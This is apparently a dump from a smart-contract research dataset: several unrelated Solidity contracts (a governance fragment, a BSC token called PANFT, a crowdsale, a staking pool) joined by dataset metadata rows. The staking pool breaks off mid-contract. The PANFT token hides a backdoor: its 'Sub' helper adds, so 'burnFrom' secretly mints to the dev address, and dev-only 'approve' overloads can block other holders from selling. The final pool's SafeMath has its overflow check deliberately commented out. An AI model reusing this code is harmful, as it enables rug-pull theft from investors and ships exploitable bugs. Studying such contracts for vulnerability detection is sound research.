// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "JUBY::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "JUBY::delegateBySig: invalid nonce");
require(now <= expiry, "JUBY::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "JUBY::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying JUBY (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "JUBY::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 251,079 | 13,632 |
a89a3f76133f6c23e499a9181ad9e0b16130cc27cb61cac75af3505fc3a5b1b5
| 22,311 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x774D0Cf9FD46E001Cf19417168529C6D148a34DD/contract.sol
| 3,238 | 12,472 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PANFT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 257,863 | 13,633 |
7c217ea24879c77fa967d144207b0cb63fa7fce99413b85728f762432943f7cb
| 14,599 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6fb8522af0e58202f74d6525d7fca7b6b2b49a9e.sol
| 3,609 | 13,779 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract PausableToken is Ownable {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function increaseFrozen(address _owner,uint256 _incrementalAmount) public returns (bool);
function burn(uint256 _value) public;
}
contract AddressWhitelist is Ownable {
// the addresses that are included in the whitelist
mapping (address => bool) whitelisted;
function isWhitelisted(address addr) view public returns (bool) {
return whitelisted[addr];
}
event LogWhitelistAdd(address indexed addr);
// add these addresses to the whitelist
function addToWhitelist(address[] addresses) public onlyOwner returns (bool) {
for (uint i = 0; i < addresses.length; i++) {
if (!whitelisted[addresses[i]]) {
whitelisted[addresses[i]] = true;
LogWhitelistAdd(addresses[i]);
}
}
return true;
}
event LogWhitelistRemove(address indexed addr);
// remove these addresses from the whitelist
function removeFromWhitelist(address[] addresses) public onlyOwner returns (bool) {
for (uint i = 0; i < addresses.length; i++) {
if (whitelisted[addresses[i]]) {
whitelisted[addresses[i]] = false;
LogWhitelistRemove(addresses[i]);
}
}
return true;
}
}
contract RtcTokenCrowdsale is Ownable, AddressWhitelist {
using SafeMath for uint256;
PausableToken public tokenReward; // address of the token used as reward
// deployment variables for static supply sale
uint256 public initialSupply;
uint256 public tokensRemaining;
uint256 public decimals;
// multi-sig addresses and price variable
address public beneficiaryWallet; // beneficiaryMultiSig (founder group) or wallet account
uint256 public tokensPerEthPrice; // set initial value floating priceVar 10,000 tokens per Eth
// uint256 values for min,max,caps,tracking
uint256 public amountRaisedInWei;
uint256 public fundingMinCapInWei;
// pricing veriable
uint256 public p1_duration;
uint256 public p1_start;
uint256 public p2_start;
uint256 public white_duration;
// loop control, ICO startup and limiters
uint256 public fundingStartTime; // crowdsale start time#
uint256 public fundingEndTime; // crowdsale end time#
bool public isCrowdSaleClosed = false; // crowdsale completion boolean
bool public areFundsReleasedToBeneficiary = false; // boolean for founder to receive Eth or not
bool public isCrowdSaleSetup = false; // boolean for crowdsale setup
// Gas price limit
uint256 maxGasPrice = 50000000000;
event Buy(address indexed _sender, uint256 _eth, uint256 _RTC);
event Refund(address indexed _refunder, uint256 _value);
mapping(address => uint256) fundValue;
// convert tokens to decimals
function toSmallrtc(uint256 amount) public constant returns (uint256) {
return amount.mul(10**decimals);
}
// convert tokens to whole
function toRtc(uint256 amount) public constant returns (uint256) {
return amount.div(10**decimals);
}
function updateMaxGasPrice(uint256 _newGasPrice) public onlyOwner {
require(_newGasPrice != 0);
maxGasPrice = _newGasPrice;
}
// setup the CrowdSale parameters
function setupCrowdsale(uint256 _fundingStartTime) external onlyOwner {
if ((!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))){
// init addresses
tokenReward = PausableToken(0x7c5c5F763274FC2f5bb86877815675B5dfB6FE3a);
beneficiaryWallet = 0xf07bd63C5cf404c2f17ab4F9FA1e13fCCEbc5255;
tokensPerEthPrice = 10000; // 1 ETH = 10,000 RTC
// funding targets
fundingMinCapInWei = 1 ether; //350 Eth (min cap) (test = 15) - crowdsale is considered success after this value
// update values
decimals = 18;
amountRaisedInWei = 0;
initialSupply = toSmallrtc(35000000); // 35 million * 18 decimal
tokensRemaining = initialSupply;
fundingStartTime = _fundingStartTime;
white_duration = 2 hours; // 2 week (test = 2 hour)
p1_duration = 4 hours; // 4 week (test = 2 hour)
p1_start = fundingStartTime + white_duration;
p2_start = p1_start + p1_duration + 4 hours; // + 4 week after p1 ends (test = 4 hour)
fundingEndTime = p2_start + 4 hours; // + 4 week (test = 4 hour)
// configure crowdsale
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
}
}
function setBonusPrice() public constant returns (uint256 bonus) {
require(isCrowdSaleSetup);
require(p1_start + p1_duration <= p2_start);
if (now >= fundingStartTime && now <= p1_start) { // Private sale Bonus 40% = 5,000 RTC = 1 ETH (test = 50 RTC)
bonus = 4000;
} else if (now > p1_start && now <= p1_start + p1_duration) { // Phase-1 Bonus 30% = 3,000 RTC = 1 ETH
bonus = 3000;
} else if (now > p2_start && now <= p2_start + 10 minutes) { // Phase-2 1st day Bonus 25% = 2,500 RTC = 1 ETH (test = +10 minute)
bonus = 2500;
} else if (now > p2_start + 10 minutes && now <= p2_start + 1 hours) { // Phase-2 week-1 Bonus 20% = 2,000 RTC = 1 ETH (test <= p2_start +1 hour)
bonus = 2000;
} else if (now > p2_start + 1 hours && now <= p2_start + 2 hours) { // Phase-2 week-2 Bonus +15% = 1,500 RTC = 1 ETH (test <= p2_start +2 hour)
bonus = 1500;
} else if (now > p2_start + 2 hours && now <= p2_start + 3 hours) { // Phase-2 week-3 Bonus +10% = 1,000 RTC = 1 ETH (test <= p2_start +3 hour)
bonus = 1000;
} else if (now > p2_start + 3 hours && now <= fundingEndTime) { // Phase-2 final week Bonus 5% = 500 RTC = 1 ETH
bonus = 500;
} else {
revert();
}
}
// p1_duration constant. Only p2 start changes. p2 start cannot be greater than 1 month from p1 end
function updateDuration(uint256 _newP2Start) external onlyOwner { // function to update the duration of phase-1 and adjust the start time of phase-2
require(isCrowdSaleSetup
&& !(p2_start == _newP2Start)
&& !(_newP2Start > p1_start + p1_duration + 30 hours)
&& (now < p2_start)
&& (fundingStartTime + p1_duration < _newP2Start));
p2_start = _newP2Start;
fundingEndTime = p2_start.add(4 hours); // 4 week (test = add(4 hours))
}
// default payable function when sending ether to this contract
function () external payable {
require(tx.gasprice <= maxGasPrice);
require(msg.data.length == 0);
BuyRTCtokens();
}
function BuyRTCtokens() public payable {
require(!(msg.value == 0)
&& (isCrowdSaleSetup)
&& (now >= fundingStartTime)
&& (now <= fundingEndTime)
&& (tokensRemaining > 0));
// only whitelisted addresses are allowed during the first day of phase 1
if (now <= p1_start) {
assert(isWhitelisted(msg.sender));
}
uint256 rewardTransferAmount = 0;
uint256 rewardBaseTransferAmount = 0;
uint256 rewardBonusTransferAmount = 0;
uint256 contributionInWei = msg.value;
uint256 refundInWei = 0;
rewardBonusTransferAmount = setBonusPrice();
rewardBaseTransferAmount = (msg.value.mul(tokensPerEthPrice)); // Since both ether and RTC have 18 decimals, No need of conversion
rewardBonusTransferAmount = (msg.value.mul(rewardBonusTransferAmount)); // Since both ether and RTC have 18 decimals, No need of conversion
rewardTransferAmount = rewardBaseTransferAmount.add(rewardBonusTransferAmount);
if (rewardTransferAmount > tokensRemaining) {
uint256 partialPercentage;
partialPercentage = tokensRemaining.mul(10**18).div(rewardTransferAmount);
contributionInWei = contributionInWei.mul(partialPercentage).div(10**18);
rewardBonusTransferAmount = rewardBonusTransferAmount.mul(partialPercentage).div(10**18);
rewardTransferAmount = tokensRemaining;
refundInWei = msg.value.sub(contributionInWei);
}
amountRaisedInWei = amountRaisedInWei.add(contributionInWei);
tokensRemaining = tokensRemaining.sub(rewardTransferAmount);
fundValue[msg.sender] = fundValue[msg.sender].add(contributionInWei);
assert(tokenReward.increaseFrozen(msg.sender, rewardBonusTransferAmount));
tokenReward.transfer(msg.sender, rewardTransferAmount);
Buy(msg.sender, contributionInWei, rewardTransferAmount);
if (refundInWei > 0) {
msg.sender.transfer(refundInWei);
}
}
function beneficiaryMultiSigWithdraw() external onlyOwner {
checkGoalReached();
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(this.balance);
}
function checkGoalReached() public returns (bytes32 response) { // return crowdfund status to owner for each result case, update public constant
// update state & status variables
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.timestamp <= fundingEndTime && block.timestamp >= fundingStartTime)) { // ICO in progress, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
return "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.timestamp < fundingStartTime)) { // ICO has not started
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
return "Crowdsale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.timestamp > fundingEndTime)) { // ICO ended, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
return "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens gone
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
return "Successful (RTC >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.timestamp > fundingEndTime) && (tokensRemaining > 0)) { // ICO ended, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
return "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.timestamp <= fundingEndTime)) { // ICO in progress, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
return "In progress (Eth >= Softcap)!";
}
}
function refund() external {
checkGoalReached();
//require minCap not reached
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (now > fundingEndTime)
&& (fundValue[msg.sender] > 0));
//refund Eth sent
uint256 ethRefund = fundValue[msg.sender];
fundValue[msg.sender] = 0;
//send Eth back, burn tokens
msg.sender.transfer(ethRefund);
Refund(msg.sender, ethRefund);
}
function burnRemainingTokens() onlyOwner external {
require(now > fundingEndTime);
uint256 tokensToBurn = tokenReward.balanceOf(this);
tokenReward.burn(tokensToBurn);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 214,379 | 13,634 |
44fc3cd57a3ad81cae4732c4b0f21670f897c2feaabc95b4d89f3e8cf47ee0c2
| 15,829 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0x768696901cf8556bccc2466ffe0d077e6a413daa_integerOverflow.sol
| 2,873 | 11,336 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
admin = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
// reward rate % per year
uint public rewardRate = 66000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid address format is not supported");
tokenAddress = _tokenAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
